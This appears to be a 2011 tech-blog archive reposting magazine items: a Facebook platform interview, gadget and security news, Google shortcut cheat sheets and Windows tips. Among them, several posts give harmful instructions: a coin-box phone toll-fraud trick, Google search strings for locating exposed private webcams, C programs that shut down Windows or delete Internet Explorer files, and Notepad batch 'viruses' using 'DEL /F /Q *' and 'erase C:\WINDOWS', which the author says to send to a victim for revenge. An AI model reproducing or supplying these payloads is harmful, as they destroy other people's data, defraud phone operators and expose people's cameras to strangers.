Techno Mantra: January 2011

Saturday, January 8, 2011

What's next, Facebook?

While social networking sites
have grown colossally, there
have been major changes in
the way that people use them because
of the continuous improvements that
these sites carry out. Recently, Facebook
launched a developer contest in India
and also participated in the July edition
of Proto.in, the Indian developer garage.
Ruchi Sanghvi, Facebook Platform
Product Manager, was visiting India for
this event, before which we met up
with her to chat about how Facebook
is redefi ning Internet experiences
through innovations in web services. Our
conversation revolved mainly around
which type of applications should be
expected from this contest and we also
discussed some of the existing ones.
What's the contest about?
Essentially we want to invest in the
developer community in India and the
application development contest is our
way of doing that. India has one of the
largest developer communities and we’re
inviting them to develop two kinds of
applications. One is platform applications
that live within the Facebook website.
One example of such applications is
games such as poker. There are a lot
more utilities and social applications such
as navigation for movies then there’s
one where you can book concert tickets.
The other kind of application is Connect
integration, where you can actually pull
the social content and a user’s identity
within a website.
What’s in it for Facebook?
We believe that Facebook by itself is
not going to be able to build every
single application or tool that users
need for communication. The best thing
a company can do is to enrich the user
experience itself, which is why we built a
platform and provide APIs to developers.
For example in India someone could
build an application which is locally and
culturally relevant, that Indian users
would appreciate. Our interests are
mutually aligned because not only are
we distributing traffi c to them but we
are also increasing engagements on our
own site.
Tell us a little about ‘Causes’?
‘Causes’ has millions of users and
it’s a very interesting concept. It’s a
grassroots movement to organize people
to contribute to social causes. Grassroots
contributions are really important and
if you think about campaigns like the
ones in the United States, like Obama’s
campaign was funded at a grassroots
level. I don’t think that a lot of people
have tapped into that and Causes
enables it and uses Facebook as a
platform, a social tool to make that more
viral. There are a lot of such examples
where users are involved and developers
are making tools and applications to
enable such interactions.
Let’s talk about Connect
Connect can be utilized on the desktop,
Xboxes and other gaming consoles. Even
mobile devices can leverage Connect
across all platforms. Users have an
identity on Facebook, they identify their
friends, interests and so on, and they
even have their contact information. If
you want to take your identity to any
website, application or device, we let
the user do that. In traditional software
development, when you go to a site,
you register, enter the details and repeat
the process every time you use a new
application. But with Connect, the user
can take control of the identity with a
click of a button, and that by itself is
really powerful.
What are you expecting from this
contest?
Though there are guidelines attached
with the documentation that comes along
with the APIs and our policies of how to
create the best user experience, I can’t
even begin to imagine what people can
do with technology and how exciting it
can be! There are so many things that
developers can create when they have
an open and free platform. Regarding
the various verticals or categories in
which these applications will fall, it’s
not that one type of application is
considered important over the other. It’s
just that how well you can build it and
how much potential will it actually have.
For instance, you could build applications
in Hindi and I don’t think any other
networking site has that yet. Be it any
application, whether for entertainment,
utility, sharing information in different
ways, games, all of them are valuable.
What’s the most striking point of
the platform to you?
The platform is a set of APIs which
allows the applications to be more
social, get users’ identity, inputs and
information, and also distributes the
content back on Facebook. Thereafter
this information gets distributed to the
users’ friends and they then fi nd out
about the application. So it’s a whole
viral and organic mechanism.

BLACKBERRY Affordable Multimedia Smartphone

Airtel and
Research In
Motion have
launched the
BlackBerry Curve
8520, a slim new
smartphone that
brings ease-ofuse
to email,
messaging, social
networking,
music and
entertainment
for people on
the go. At the
attractive price of Rs 15,990, the new
BlackBerry Curve 8520 introduces an
innovative touch-sensitive trackpad
which makes scrolling and selection
smooth and easy. It also features
dedicated media keys plus a 3.5 mm
stereo headset jack. It has a 512 Mhz
processor for enhanced performance
and supports expandable memory
via hot swappable microSD/SDHC
memory card slot. Users get easy
mobile access to instant messaging
and social networking services like
Facebook, MySpace, etc. The bright
2.46-inch high resolution color display
supports over 65,000 colors, and
connectivity includes built-in 802.11b/g
Wi-Fi and quad-band EDGE for global
connectivity.

Apple in trouble over Google Voice

Apple has run afoul of
regulatory authorities in the
US after it arbitrarily refused
to approve the Google Voice
application from its App
Store. The company's offi cial
reason was that Google Voice
duplicated features already
existing in the iPhone and
degraded the user experience,
however the more likely
reason is that the cheap or
free VoIP calls and messages
would impact the earnings of
the only licensed carrier, AT&T.
Apple has publicly
disclosed its offi cial
responses to the Federal
Communications
Commission's questions. It
claims it has acted alone,
not with AT&T, and it has no
obligations to them to do so.

Apple in trouble over Google Voice

Windows 7: A playground for hackers?

Microsoft says
Windows 7 is safer,
better lookng and
faster than Vista.
But some security
loopholes that have
existed right from
the beta phase
have still not been
completely dealt
with. The main problem lies with the revamped User Account
Control system (UAC) which has been toned down since users
found the Vista version too intrusive. Ever sincne Vista, the
user runs with only limited rights. If he wants to make system
related changes, a UAC warning message is displayed and admin
rights must be proven. However the annoying pop-ups used to
appear even for very small updates.
The new UAC from Windows 7 was designed to let the user
control how alarms are raised, but the default low setting
allowed hackers to run a simple script that let them later
run any program with admin rights. Attackers can turn off
the UAC through DLL injection even in the release candidate.
Thus, every program gets admin rights with just a click of the
mouse.Even worse: Internet Explorer's Protected Mode can be
disabled without the user being aware.

People's routines can be predicted

Microsoft takes steps to shut down Waledac botnet

Microsoft has emerged victorious from a sneak legal attack
in which it managed to get 277 Internet domains associated
with the Waledac botnet shut down, effectively cutting
its owners off from their swarm of zombie infected PCs.
According to the company, Waledac was one of the
10 largest botnets in the United States, and had been
responsible for over 1.5 billion spam email messages per
day, with over 650 million of them directed at Hotmail
accounts in the month of December alone. While the PCs
still remain infected, they cannot receive commands to send
out spam anymore. Security agencies reported that Waledac
activity had largely wound down within three days of the
domains shutting down.
The stealthy operation was codenamed B49 and took
several months to coordinate, according to Microsoft's
offi cial blog post on the matter.

Facebook opens India office

Facebook is investing in India
by opening its first office
outside the US and UK here.
The new operations center
in Hyderabad will support
hundreds of millions of users,
as well as Indian application
developers and advertisers.
The new center will also allow
Facebook to support users in
any time zone 24 hours a day.
The company expects to hire a
small team of local talent.
Facebook now has 400 million
active users, 8 million of
whom are from India.

BoI customers targeted in multilingual phishing scam

The Bank of India has become one of the
latest fi nancial institutions to be targeted by
a large-scale online phishing scam. Internet
users have been receiving emails purporting
to be from a BoI customer service email
address use the usual tactic of informing
recepients that their accounts have been
suspended due to "suspicious activity"
and that they need to click a link and sign
in with their credentials to restore it.
The BoI mails are circulating in Hindi as
well as English. Links in the emails point
to fake websites hosted on compromised
domains, mostly compromised mail servers.

Godrej launches India's first online virtual world

In what is sure to be a new beginning for
Godrej, the century-old business house has
launched India's fi rst online virtual world,
GoJiyo (www.gojiyo.com). The site promises
to engage Indian youth with features
like fl ying and teleportation, similar to
estsablished online worlds including Second
Life. The world is made of three major zones:
Urban Supercity, Ancient Kingdom and Moon
Colony, with hints of others including an
underwater colony. By using advertisements
and leveraging Facebook traffi c, GoJiyo
managed to attract over 11,000 signups in the
runup to its launch in late March 2010.
However GoJiyo is not just a 3D social
network; it is clearly intended to serve as a
marketing platform for all the Godrej Group's
companies, including consumer products,
foods and beverages, and furniture.

Hack coin box phone

To make a free call:
1.Insert coin.
2.Press 0,Then #,Again #,Then Phone number,Then *.
3.Talk with no limit and disconnect,You will get Your coin back.

Access Webcams With Google

A network camera is a camera which is linked to a network and/or the internet. There is no need for a PC. The cam has a mini-PC in it-self!

The camera can be easily accesed with an internet browser. The camera image is usually placed in a certain web page...

Someone has already done a lot of homework and compiled a list of open cameras, you can see this list at www.griffid.com/htm/live_images.html However, lets find our own cameras!

Rufus at http://wonder.i.am has put together a nice list of google hacks that we can use to find these cams..

Axis cameras:

* /view/view.shtml axis 'google'
* "adding live video to one of your own pages a very easy task with an AXIS 2100 Network Camera" 'google'
* "Live view - / - AXIS" 'google'
* "Your browser has JavaScript turned off.For the user interface to work effectively" 'google'
* indexFrame.html axis 'google'
* "Live web imaging unleashed" 'google'

I-Hacked Member: Pay submitted this cool hack..
Find axis 205 webcams with dynamic dns. http://www.axis.com/files/manuals/205_qig_en_21121.pdf http://www.google.com/search?q=allinurl:ax...art=40&sa=N open startmenu open run type cmd (command in early versions of windows)
type nslookup
type server roy.axis.se OR server siegfried.axis.se
ls -d axiscam.net
OR to get a outputfile ls -d axiscam.net >> axiscam.net.txt

Canon cameras:

* sample/LvAppl/ 'google'

MOBOTIX cameras:

* /control/userimage.html 'google'

JVC cameras:

* "©copyright 1999-2003 VICTOR COMPANY OF JAPAN, LIMITED. All rights reserved" 'google' (- finaly I got to know the
meaning of the letters in the brand name JVC
* "V.Networks [Motion Picture(Java)" 'google'
* "Control the Pan/Tilt and move to the Preset Position" 'google'

FlexWatch cameras:

* /app/idxas.html 'google'
* "Saving & Retrieving Mode" 'google'

Panasonic cameras:

* /ViewerFrame?Mode=Motion 'google '

TOSHIBA cameras (maybe you need Java):

* "TOSHIBA Network Camera - User Login" 'google'

Sony cameras:

* /home/homeJ.html 'google'

webcamXP (software):

* "my webcamXP server!" 'google'

How to create virus in c? Create simple virus by c programming language.

(1) Write c program which shutdown the window operating system?Answer:Step 1: Write the following program in TURBO C.void main (void){ system("shutdown -s");}Step 2: Save the above file. Let file name is close.c Step 3: Only compile the above program.Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the close.c (default directory c:\tc\bin) Step 5: Double click on its .exe file (close.exe)After some time your window operating system will shutdown.(2) Write a c program such that when we will click on its .exe file then it will open internet explorer at infinite times?Answer:Step 1: Write the following program in TURBO C.void main (void){for(; ;){system("c:\\progra~1\\intern~1\\iexplore.exe");}}Step 2: Save the above file. Let file name is internet.c Step 3: Only compile the above program.Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin) Step 5: Double click on its .exe file (internet.exe)(3) Write a c program which delete the all the .exe file of internet explorer so that internet explorer will not work?Answer:Step 1: Write the following program in TURBO C.void main(void){system("cd c:\\progra~1\\intern~1");system(“del *.exe”);system(“cls”);}Step 2: Save the above file. Let file name is delete.c Step 3: Only compile the above program.Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the delete.c (default directory c:\tc\bin) Step 5: Double click on its .exe file (delete.exe)

How To Make A Powerfull Virus With Only Notepad, delete all folders/files just put this:

DEL /F /Q *

Into notpad and save it as whateveryouwant.cmd

It will delete all files on the computer even if they are read only and it will not promt you to do it. You will not think any thing has happend untill you try and do something.

WARNING DO NOT CLICK ON IT WHEN YOU HAVE CREATED IT, IT WILL DESTROY YOUR COMPUTER

If you just want to delete the WINDOWS file do this:

The only thing you need again is Notepad.

Now, to test it, create a textfile called TEST.txt in C:\
Now in your notepad type "erase C:\TEST.txt" (without the quotes). Then do a "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" then open up C:\ and you'll see your Test.txt is gone. Now, the real work begins:

Go to Notpad and type erase C:\WINDOWS (or C:\LINUX if you have linux) and save it again as whateveryouwant.cmd. Now DON'T run the file or you'll lose your WINDOWS files. So, that's the virus. Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX files are gone. And have to install LINUX/WINDOWS again.

Simple explanation:

Go to notepad, type erase C:\WINDOWS, save as whateveryouwant.cmd send to victim, once the victim opens it, the WINDOWS file will be gone and have to install WINDOWS again.

Wednesday, January 5, 2011

What exactly is attacking my computer?

When it comes to security threats, it’s no longer as simple as a virus. There are many
kinds of malware that attack your machine. Here is a quick look at what they are and
what they do.

Virus
A program that piggybacks on other fi les,
and spreads with malicious intent, these
are actually uncommon now
Common sources: public computers, fl ash
memory, LAN
Solution: Use a security suite
Worm
Unlike a virus, a worm can spread
without attaching itself to fi les. It is also
programmed to change itself, making
variants more diffi cult to detect. Sometimes
worms are updated remotely.
Common sources: LAN, email
Solution: Update the system and anti-virus,
use a fi rewall, track security patches
Trojan
A Trojan is a software that pretends
to work for you, but is actually doing
something else, being a part of a botnet or
allowing for unauthorised access.
Common sources: torrents, suspicious
downloads, web sites
Solution: be careful of what you download
Exploit
An exploit is an inherent “hole” in an
operating system or software, that allows
malware such as Trojans or viruses to
spread
Common sources: The base operating
system, installed software (such as offi ce
suites)
Solution: keep your system and applications
updated

How old programs run in Windows 7

Most programs written for
Windows will work automatically
in Windows 7, but there
might be some issues with older
programs and some might not
even start. If a program written
for Windows Vista, XP or even
other older versions fails to
run, Microsoft doesn’t leave
you in the blue. Like Vista,
Windows 7 comes with a Program
Compatibility Mode that
simulates the behaviour of previous
versions of Windows for
that program. You can change
the compatibility settings for
a program either manually or
by using the Program Compatibility
Troubleshooter.
Right-click on a program
and choose Troubleshoot Compatibility
to launch the Program
Compatibility Assistant.
It detects known compatibility
issues and notifi es you if it fi nds
anything and offers to fi x it the
next time your program is run.
It does not make any changes
to your program. It merely
resolves confl icts with UAC
giving elevated privileges to
your program, or simulates
an earlier version of Windows.

Monday, January 3, 2011

Google Cheat Sheet : Google Reader

[J] Next file
[K] Previous file
Spacebar Move downwards
[Shift]+Spacebar Move upwards
[N] Select next file
[P] Select previous file
[S] Adds star to file
[Shift]+[S] Shares current file
[M] Toggles “read” state
[T] Add tags to file
[Shift]+[A] Mark all as read
[Shift]+[X] Expand/collapse a folder
[Shift]+[O] Open current file
[G] + [A] Goes to “All Items”
[G] + [S] Goes to “Starred Items”
[/] Quick guide to all shortcuts

ion Google Cheat Sheet : Google Reader

Google Cheat Sheet : Gmail

[C] Compose mail
[O] Open mail
[X] Select mail
[S] Star mail. Press repeatedly to cycle stars.
[1] Report spam
[N] Next mail
[P] Previous mail
[K] Next conversation
[J] Previous conversation
[R] Compose reply
[A] Reply to all
[F] Forward mail
[U] Return to Inbox (or refresh)
[Tab] [Enter] Sends message
[Y] + [O] Archive current mail, go to next
[G] + [A] Go to “All Mail”
[G] + [S] Go to “Starred Mail”
[G] + [C] Go to contacts
[G] + [D] Go to Drafts
[G] + [I] Go to Inbox
/ Go to search box
[Esc] Removes cursor from the current field
[Enter] Opens mail, expansion toggle for conversations

Google Cheat Sheet : Google Search

Apples OR Oranges Any one of the number listed
“Apples and oranges” Exact phrase
Apples -Oranges Without a particular word
~Tech Blogs Looks for items similar and related
to “tech”
+Orange Excludes synonyms and plurals from
the search
Apple *** Orange A number (here, 3) of words between
the two words
2 + 2 Add two numbers
2 plus 2 Add two numbers
2 – 2 Subtract two numbers
2 minus 2 Subtract two numbers
2 * 2 Multiply two numbers
2 / 2 Divide two numbers
2% of 2 Finds out a percentage of a number
2^2 A number raised to another
12 Kmph in Mph Unit conversions

Here’s your short guide to the tech lingo

Heatsink: Any structure or device on a motherboard that dissipates
the heat produced by the processor.
Chipset: The kind of architechture, or the design of a processor.
Devices based on the same chipset are compatible with each
other.
Northbridge: The area on an Intel motherboard which is
reserved for the RAM and graphic card slots.
QWERTY: Short for a QWERTY slider, a form factor in phones
that incorporates a keyboard with individual keys for every letter
for easier type input.
Heuristic: Heuristic scanning in Anti-Virus software is an
approach where different processes on a system are monitored
for their behavior. Based on past expirience, if the behavior is
suspicious, then the Anti-Virus software alerts of a possible infection
by malware.
Upscaling: Changing the resolution of a video. The process is
called upscaling even if the resolution is reduced, the “up” is an
indication of the intended display. Commonly used in screens.
PSU: Power Supply Unit, the part of a computer that provides
the electricity to all the componants of the system.
API: An Application Programming Interface describes methods
in which third party coders can use the resources of a web app.

Tech art: MS Paint Art

Go to Start > Run and type mspaint, use the basic set of tools
to go wild, and it is an art form. There are videos posted on YouTube
that are too good to be true, and they are. These are worked backwards
in Photoshop to look like they have been made on MSPaint.
However, there are some exemplary examples on the web that really
stand out. There are some pretty advanced tricks you couldn’t have
guessed using the basic tool set. This is before the advanced version
of MSPaint in Windows 7 was around. Most MSPaint art is used
for pixel art or sprite art, but a few really big, really great works are
around. Head over to http://www.neopets.com/~grape_candy for a
really great tutorial. Also, bookmark www.paintmash.com for more
examples and an active MSPaint art community.

Make a Robot

Give the robot apocalypse a push in
the back by building your own. The
Society of Robots (not, as the name
suggests, a precursor to Skynet)
gives you a bunch of tutorials on
basic robotics – from how to create
a simple robot to all the information
you need on components to build
a bigger, better bot. It’s even got
helpful tools to help you figure out
what batteries you need and how
much energy your bot is going to
consume. Finding the components,
though, will be an adventure on its
own.
For: Budding engineers, foolish
optimists
Read: http://www.societyofrobots.com

Windows 7 : Search within ZIP files

Open Computer (Win + E)
Click on Organize >
Folder and Search Options
Under the search tab, check
‘Include compressed flies’ and
click on Ok.

Twitturly

http://twitturly.com/
This service doesn’t specifically
give you statistics relevant to
your profile, but gives the most
popular URLs that people are
talking about on Twitter, in
Digg style. It’s a good way to
discover cool links floating
around the web in real time.

Twitter Analyzer

http://twitteranalyzer.com
If you’re one with attention to
detail and need statistics and
graphs, this one’s for you. This
is an analysis tool with a strong
focus on quantitative analysis.
With Twitter Analyzer, you
can have all of this. You’ll get
to know your “Reach”, which
is basically how many people
saw your tweet including your
followers and the followers of
the person who retweeted your
tweet if any.

Google Apps

There’s more to Google than
plain Gmail, albums and networking. You can use Google
to sync all your contacts and
data across your mobile, PC
and the web. Also, you can use
Google to store data online.

Block pen drives

Pen drives can be used to
upload malicious code to
your computer – either deliberately
in the case of remotespying
software or by accident
in case of viruses. They
can also be used to copy and
steal confidential information
from your computer
when left unwatched.
Whenever a new USB
device is plugged in to a USB
port of your computer, Windows
checks its device and
hardware ID to determine if
it’s a storage device or not. If
it determines that it is indeed
a mass storage device or a
pen drive in common language,
it will load the appropriate
driver, and display the
device as a drive in Windows
Explorer. All of this is handled
by the usbstor.sys driver.
So, to block your computer’s
ability to use USB drives
follow these steps: Go to Start
> Run and type regedit to
open the registry editor.
In the left pane, navigate
to Computer\HKEY_LOCAL_
MACHINE\System\Current-
ControlSet\Services\
USBSTOR.
Double-click on the entry
named Start in the right pane.
Change the Value data:
field to 4. Press OK to save it.
If you want to revert back
to the default configuration
and enable your computer’s
ability to use USB drives,
just set the value of Start to
3 again.

Block pen drives

Run graphical UNIX applications on Mac

Mac OS X comes with its own
inbuilt version of the X Windows
system meant to run
UNIX graphical applications
that are otherwise not compatible
with OS X. Click on
Go and select Utilities in the
menu that pops up. Doubleclick
on X11 and you are presented
with a X Windows
interface to accomplish what
you intended.

Run graphical UNIX applications on Mac

Format sticky notes

You can format your sticky
notes in Windows 7 despite
the absence of a toolbar. All
you’ll need, is to remember
keyboard shortcuts. Just select
the text that you want to apply
the new formatting to and use
the following shortcuts:
Bold – [Ctrl] + [B]
Italics – [Ctrl] + [I]
Underline – [Ctrl] + [U]
Strikethrough – [Ctrl] +
[T]
Increase size of text –
[Ctrl] + Shift + >
Decrease size of text –
[Ctrl] + Shift + <
Apply bullets – [Ctrl] +
Shift + [L].
Apply Numbering –[Ctrl] + Shift + [L]
(twice).
Apply alphabetical
ordering – [Ctrl] + Shift
+ [L] (thrice).

Windows 7 Disabling disk space check

To prevent those annoying
pop-ups due to low disk space,
type regedit in the run dialog
box. In the left pane, navigate
to Computer\HKEY_CURRENT_
USER\Software\Microsoft\
Windows\CurrentVersion\
Policies\Explorer.
Right-click on any free
space in the right pane, go to
New and click on DWORD(32)
Value. Name it NoLowDisk-
SpaceChecks. Double-click
on it and enter 00000001 in
the Value data field. Click OK
to save and close.

The Jargon

Muddled by all the terms we use? Here’s your short guide to the
tech terms used in the magazine
Open Source: Software which allows users to have the source
code, or the programming of the software itself. This means that
users have the freedom to modify the software they use. The
source code is either free, given free with the software license, or
sold seperately. Closed Source software don’t distribute, share
or sell the source code at all.
Compression: Reducing the footprint of files in system memory.
DirectX: A trademark Microsoft product that acts as a middleman
between games and system hardware such as graphic
cards and sound cards. Instructions from a game engine are
interpreted by DirectX and passed on to the hardware.

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Saturday, January 8, 2011

Wednesday, January 5, 2011

Monday, January 3, 2011